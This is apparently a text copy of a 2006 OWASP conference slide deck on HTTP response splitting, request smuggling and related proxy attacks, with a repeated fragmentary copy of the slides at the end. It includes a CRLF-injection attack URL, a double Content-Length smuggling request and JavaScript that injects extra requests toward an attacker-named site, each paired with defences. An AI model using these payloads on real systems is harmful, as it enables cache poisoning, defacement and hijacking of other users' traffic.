Smuggling and Other Animals: The Owasp Foundation

HTTP Message Splitting,
Smuggling and Other

Animals
Amit Klein, OWASP-Israel steering

committee member/leader
Board member, WASC
aksecurity@hotpop.com
OWAS
P
AppSe
c
Copyright © 2006 - The OWASP Foundation
Permission is granted to copy, distribute and/or modify this
document under the terms of the GNU Free Documentation
Europ License.
e The OWASP
May 2006 http://www.owasp.org/
Foundation
Introduction ([1])
OWASP AppSec Europe 2006 2

Peripheral Web Attacks
“Classic” web attacks – focus on server

(web) and its backend (app, DB). Acknowledge
the existence of a browser…
Server attacks (Nimda, CodeRed)
Application attacks
Back-end/DB attacks (SQL injection, *-injection)
Session hijacking, XSS
Peripheral web attacks (2004-) – focus on
what’s between the server and the client – how
introducing HTTP enabled intermediaries
makes the system less secure. [A note about
virtual hosting]

Terminology
(HTTP-enabled) Intermediary – an HTTP enabled

device/filter/thingy that processes the traffic
between the browser and the web server at the
HTTP level.
Peripheral web attack – an attack against a
system that contains at least one HTTP-enabled
intermediary, which is made possible due to the
introduction of this intermediary. The attack
makes use of the data stream (not the control
stream).

HTTP Enabled Intermediaries
Cache server (on-site)

Cache server (client side)
SSL accelerator (SSL termination)
Load balancer
Reverse proxy server (on-site)
Forward/transparent proxy server (client side)
IDS/HTTP-aware firewall
Web Application Firewall (WAF)
(the browser’s cache)
…

Root problems
Application (insecure code)

Liberal HTTP Parsing
HTTP connection sharing – breaks some
inherent assumptions, “inherent trust”
Acting upon HTTP messages at large
Caching – less control over the site content as
seen by the browser, no “reset”/”versioning”.
Serious amplification (time, clients)

The HRS Quartet

The HRS Quartet
Adagio: HTTP Response Splitting

Web cache poisoning
Larghetto: HTTP Request Smuggling
Allegro: HTTP Request Splitting
Vivace: HTTP Response Smuggling

Terminology
HTTP … Splitting – forcing an originator of

HTTP messages to emit 2 (or more) valid
(RFC-compliant) messages instead of one.
HTTP … Smuggling – [forcing] an
originator of HTTP messages to emit a
stream of data that can be interpreted in
more than one way, usually due to non-
compliancy to the RFC.

The HRS Quartet:
Part I – Adagio: HTTP Response Splitting ([2])

The basic idea
The security hole – an application that:

Embeds user data in HTTP response headers
(e.g. Location, Set-Cookie)
Does so without sanitizing data
This enables the attacker to force the

server into sending (on the wire) data that
is interpreted as 2 HTTP response
messages.

Example
 ASP page (say http://www.the.site/welcome.asp?lang=...)
<%
Response.Redirect "http://www.the.site/new_page.asp?
lang=" & Request.QueryString("lang")
%>
 Normal request:
http://www.the.site/welcome.asp?lang=Hebrew
 Normal Response:
HTTP/1.0 302 Redirect

Location: http://www.the.site/new_page.asp?lang=Hebrew
Connection: Keep-Alive
Content-Length: 0

Example (contd.)
 Attack request
http://www.the.site/welcome.asp?lang=Foo%0d%0aConnection:%20Keep-Alive
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-
Type:%20text/html%0a%0aContent-Length:%2020%0d%0a%0d%0a<html>Gotcha!
</html>
 Response (actually, 2 responses and some change):
HTTP/1.0 302 Redirect

Location: http://www.the.site/new_page.asp?lang=Foo
Connection: Keep-Alive
Content-Length: 0
HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 20
<html>Gotcha</html>Connection: Keep-Alive
Content-Length: 0

Web Cache Poisoning
 Let’s change http://www.the.site/index.html into a “Gotcha!”

page.
 Participants:
 Web site (with the vulnerability)
 Cache proxy server
 Attacker
 Attack idea:
 The attacker sends two requests:
1. HTTP response splitter
2. An innocent request for http://www.the.site/index.html
 The proxy server will match the first request to the first response,
and the second (“innocent”) request to the second response (the
“Gotcha!” page), thus caching the attacker’s contents.

Web Cache Poisoning -> Attack Flow
Sequence
Attacker 1st attacker request Cache-Proxy Web Server
(response splitter) 1st attacker request
(response splitter)
302
302
2nd attacker request

(innocent /index.html)
2nd attacker request
(innocent /index.html)
200
(Gotcha!)
200
(Gotcha!) 200
(Welcome)

Crossing Wires
Response Hijacking, temporary defacement -

Slide 15 revisited (see next slide)
Doesn’t require caching
Requires “connection sharing” (two clients to

one server) in the proxy server
Theoretic results

Crossing Wires -> Attack Flow Sequence
Victim Attacker 1st attacker request Proxy Web Server

(response splitter) 1st attacker request
(response splitter)
302
302
200
(Gotcha!)
request
/account?id=victim
200 request request

(Gotcha!) /index.html /index.html
200
(Victim’s account data)
200
(Victim’s account data)
Attacks round-up
We have seen:
Web cache poisoning
Response hijacking
Temporary defacement (server side XSS++)
Additionally, there are (check the paper - [2])

XSS for IE in 3xx scenario
(attacks related to virtual hosting)

Solution
Application level – do not pass “bad” data to the

framework (i.e., sanitize CRs and LFs).
Framework (ASP, JSP, PHP, …) level – do not
embed “bad” data into HTTP response headers.
Intermediaries (proxy servers, etc.):
Enforce causality (request before response)
PSH bit? (see [7])
Avoid connection sharing
Site owners
SSL only site (still leaves browser cache and post SSL
termination uncovered)

The HRS Quartet:
Part II – Larghetto: HTTP Request Smuggling
([3])

Basic Idea + Example
POST request with double Content-Length

header
RFC says “thou shalt not”.
Liberalism says “let’s try to understand
this”.
SunONE server (6.1 SP1) takes the first
header.
SunONE proxy (3.6 SP4) takes the last
header.

Web cache poisoning (example)
Goal: cache server will cache the content of /poison.html for

the resource /welcome.html
POST http://SITE/foobar.html HTTP/1.1

Proxy:
... 1. /foobar.html
Content-Length: 0 2. /welcome.html
Content-Length: 44 Server:
1. /foobar.html
2. /poison.html
GET /poison.html HTTP/1.1
Host: SITE
Bla: GET http://SITE/welcome.html HTTP/1.1

Example result
Proxy sees a second request to

/welcome.html, and will cache the second
response.
Web server sees a second request to
/poison.html, so the second response would
be the contents of /poison.html.
The proxy will cache the contents of
/poison.html for the URL /welcome.html
Net result – the cache is (partially) poisoned

Partial poisoning
Unlike “HTTP Response splitting”, there’s

no full control over the poisonous payload:
Poison must already exist on the server
Poison must be cacheable
But think blogs, forums, talkbacks,
guestbooks, personal pages, ….

And it’s not just double Content-Length…
 Many (battle proven) anomalies

 Double Content-Length
 Transfer-Encoding and Content-Length
 CRLF+CR+CRLF
 GET with Content-Length
 CRLF+SP+CRLF
 IIS 48KB body bug/feature ([4])
 Many more…
 Many pairs of vulnerable devices
 Apache with everything…
 IIS with everything…
 Many more…

Attack vectors
We have seen
Partial cache poisoning
Additionally, there are (check the paper -

[3])
IPS/IDS/Firewall/WAF bypassing
Other tricks similar to HTTP Response
Splitting

Solution
HTTP-enabled intermediary vendors

Be strict in what you accept ;-)
 Ideally: do not “fix” bad data – kill it… (feasible?)
 Otherwise: “fix” bad data
Avoid connection sharing
Sites
SSL only site
Patch

The HRS Quartet:
Part III – Allegro: HTTP Request Splitting
([9], [12])

Motivation
 Goal:
 (part I) Forging “difficult” headers (e.g. Referer)
 Importance: subverts “defenses” that rely on Referer, e.g.
suggestions for CSRF protection, anti-leaching, etc.
 (part I) Scanning (e.g. internal networks)
 Importance: ability to access content of “off site” pages
 (part II) General XSS
 (part II) “local defacement” (browser cache poisoning)
 Usual suspect: XmlHttpRequest
 Restricted by same origin security policy (enforced by
the browser).
 Now if there’s a proxy (or virtual server)…

Attack (Referer spoofing, scanning)
 Using XmlHttpRequest
 Sending more 2+ requests instead of one
 “Under the radar” of the browser
 Example
 IE’s XmlHttpRequest object doesn’t allow SP in the method. But HT (\t) is
allowed, and so are CR (\r) and LF (\n)
 The following JS code crafts 2 requests (to the proxy) where IE thinks it’s
sending only one
 Code resides in www.attacker.site, yet accesses www.target.site
var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();

Attack (XSS, browser cache poisoning)
 Example (IE+Squid forward proxy)

var x = new
ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.attacker.site/dum
my.html\tHTTP/1.1\r\nHost:\twww.attacker.site
\r\nConnection:\tKeep-
Alive\r\n\r\nGET","/payload.html",false);
x.send();
window.open("http://www.target.site");

Solution
Browser vendors
Strict sanitation/validation of the various
XmlHttpRequest fields (method, URL, headers)
Sites
SSL only site

The HRS Quartet:
Part IV – Vivace: HTTP Response Smuggling
([11])

Quick tour
Basic setup: HTTP Response Splitting

Goal: bypass “anti HTTP Response
Splitting” restrictions by crafting non-
standard responses
Will only work on a portion of the HTTP-
enabled entities – those that parse those non-
standard responses in a “friendly” manner.

Example – bypassing PHP 5.1.2 (and 4.4.2)
anti HTTP Response Splitting defense
 Newest PHP releases impose heavy restrictions
on LF-infested data sent to header()
 LF is only allowed when followed by a SP/HT (HTTP
header continuation syntax)
 No more …%0d%0a%0d%0a… exploits
 Enters HTTP Response Smuggling
 Using CR only (not CRLF).
 Non compliance with the RFCs.
 Still, SunONE 4.0 proxy/cache server happily accepts
this and normalizes it.
 Net effect: HTTP Response Splitting (with all its
impact) is still possible, provided that the
cache/proxy server accepts CR.
 See other tricks in the paper ([11])
Solution
Application programmers
Sanitize data going to HTTP headers against CR and LF.
Web server/framework vendors
Stricter filtering (no CRs, no LFs)
HTTP-enabled intermediaries
Reject non RFC-compliant responses
Site owners
SSL only site

Domain Contamination ([10])

Basic scenario
 You’re hacked
 Defacement
 Web cache poisoning
 Domain hijacking
 Cyber-squatting (no hacking really)
 Goal: effectively extending the defacement condition
“forever”, esp. after the attack is “reversed”.
 By carefully designing the attack, the attacker can cause
defaced pages to be cached for very long time.
 Cached pages can
Interact with real content (same domain!)
Interact with (and direct the victim to ) the attacker’s site

Solution
Don’t get hacked ;-)

Use SSL only (addresses some vectors, not
all)
No simple solution:
Need to extend the cache “protocol”/headers?
Other suggestions in [10]

Cross Site Tracing in proxy servers ([6])

Cross-Site Tracing (XST) Strikes Back
 Original XST ([5]) uses TRACE response from the

web server. Since 2003, TRACE is usually turned
off in web servers.
 Goal: given XSS condition, extend it to cover
HttpOnly cookies and HTTP basic authentication
credentials (a-la the original XST)
 TRACE is also supported by proxy servers.

 Used with Max-Forwards to “debug” proxy paths.
 Max-Forwards: 0
 The proxy response is just as good…
 Better yet: the server never sees what (doesn’t) hit
it…
Solution
HTTP-enabled intermediaries
Disallow TRACE
Browser vendors
Disallow TRACE as a method in
XmlHttpRequest.
Disallow any non-alphanumeric method in
XmlHttpRequest.

NTLM HTTP Authentication
and proxies don’t mix ([8])

NTLM HTTP Authentication and connection
sharing
NTLM HTTP authentication is connection oriented – the

first HTTP request on the TCP connection is
authenticated, and the rest don’t need authentication.
Goal: piggyback an authenticated connection of a
legitimate user.
Connection sharing scenario = big problem
Microsoft silently added “via” detection, killing the
connection-orientedness.
But Via is not sent by all proxy servers.
Chain of proxies

Solution
Site owners
Abandon NTLM HTTP Auth
Proxy vendors
Don’t share connections
Send VIA by default

Summary

Root problems revisited
Application (insecure code)

HTTP Response Splitting, HTTP Response Smuggling
Browser “bugs”: XST++, HTTP Request Splitting
Liberal HTTP Parsing
HTTP Request Smuggling, HTTP Response Smuggling
HTTP connection sharing
HTTP Response Splitting, NTLM HTTP Auth problem
Acting upon HTTP messages at large
XST++
Caching
HRS (all four), Domain Contamination

Common solutions
Application level (programmers, browser

vendors)
Programmers: Sanitation
Browser vendors: Browser “bugs” – trivial
sanitation…
Liberal HTTP Parsing (vendors)
Drop (or fix) non-RFC-compliant requests
HTTP connection sharing (vendors)
Avoid
Use SSL (site owners)
SSL only websites are transparent to outside-the-
perimeter intermediaries, except the browser cache

Summary
 HTTP-enabled intermediaries enable new classes of attacks

 Previously “safe” features are now root causes
 Writing to HTTP headers
 Connection sharing
 Liberal HTTP parsing
 Some HTTP features in intermediaries (e.g. TRACE)
 Caching
 Site owners have less control
 HTTP intermediaries outside the perimeter
 Non-trivial analysis: interaction between intermediaries, server and
browser
 Vulnerability assessment is never comprehensive
 Mitigation
 Tip of the iceberg?

Q&A

References
[1] “Meanwhile, on the other side of the web server” (Amit Klein, June 2005)
http://www.securityfocus.com/archive/1/401866
[2] “Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Other
Topics” (Amit Klein, March 2004)
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[3] “HTTP Request Smuggling” (Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, June
2005) http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
[4] “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)” (Amit Klein,
September 2005) http://www.securityfocus.com/archive/1/411418
[5] “Cross-Site Tracing (XST)” (Jeremiah Grossman, January 2003)
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf
[6] “XST Strikes Back” (Amit Klein, January 2006)
[7] “Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks
at the TCP Level” (Amit Klein, August 2005) http://www.securityfocus.com/archive/1/408135
[8] “NTLM HTTP Authentication is Insecure by Design” (Amit Klein, July 2005)
[9] “Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...” (Amit
Klein, September 2005) http://www.securityfocus.com/archive/1/411585
[10] “Domain Contamination” (Amit Klein, January 2006)
http://www.webappsec.org/projects/articles/020606.txt
[11] “HTTP Response Smuggling” (Amit Klein, March 2006)
[12] “IE + some popular forward proxy servers = XSS, defacement (browser cache
poisoning)” (Amit Klein, May 2006) http://www.securityfocus.com/archive/107/434653

Smuggling and Other Animals: The Owasp Foundation

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Smuggling and Other Animals: The Owasp Foundation

Uploaded by

Copyright:

Available Formats

HTTP Message Splitting,

Smuggling and Other

Amit Klein, OWASP-Israel steering

OWASP AppSec Europe 2006 2

“Classic” web attacks – focus on server

OWASP AppSec Europe 2006 3

(HTTP-enabled) Intermediary – an HTTP enabled

OWASP AppSec Europe 2006 4

Cache server (on-site)

OWASP AppSec Europe 2006 5

Application (insecure code)

OWASP AppSec Europe 2006 6

OWASP AppSec Europe 2006 7

Adagio: HTTP Response Splitting

OWASP AppSec Europe 2006 8

HTTP … Splitting – forcing an originator of

OWASP AppSec Europe 2006 9

OWASP AppSec Europe 2006 10

The security hole – an application that:

This enables the attacker to force the

OWASP AppSec Europe 2006 11

HTTP/1.0 302 Redirect

OWASP AppSec Europe 2006 12

 Response (actually, 2 responses and some change):

HTTP/1.0 302 Redirect

OWASP AppSec Europe 2006 13

 Let’s change http://www.the.site/index.html into a “Gotcha!”

OWASP AppSec Europe 2006 14

2nd attacker request

OWASP AppSec Europe 2006 15

Response Hijacking, temporary defacement -

Doesn’t require caching

Requires “connection sharing” (two clients to

OWASP AppSec Europe 2006 16

Victim Attacker 1st attacker request Proxy Web Server

200 request request

Additionally, there are (check the paper - [2])

OWASP AppSec Europe 2006 18

Application level – do not pass “bad” data to the

OWASP AppSec Europe 2006 19

OWASP AppSec Europe 2006 20

POST request with double Content-Length

OWASP AppSec Europe 2006 21

Goal: cache server will cache the content of /poison.html for

POST http://SITE/foobar.html HTTP/1.1

OWASP AppSec Europe 2006 22

Proxy sees a second request to

OWASP AppSec Europe 2006 23

Unlike “HTTP Response splitting”, there’s

OWASP AppSec Europe 2006 24

 Many (battle proven) anomalies

OWASP AppSec Europe 2006 25

Additionally, there are (check the paper -

OWASP AppSec Europe 2006 26

HTTP-enabled intermediary vendors

OWASP AppSec Europe 2006 27

OWASP AppSec Europe 2006 28

OWASP AppSec Europe 2006 29

var x = new ActiveXObject("Microsoft.XMLHTTP");

OWASP AppSec Europe 2006 30

 Example (IE+Squid forward proxy)

OWASP AppSec Europe 2006 31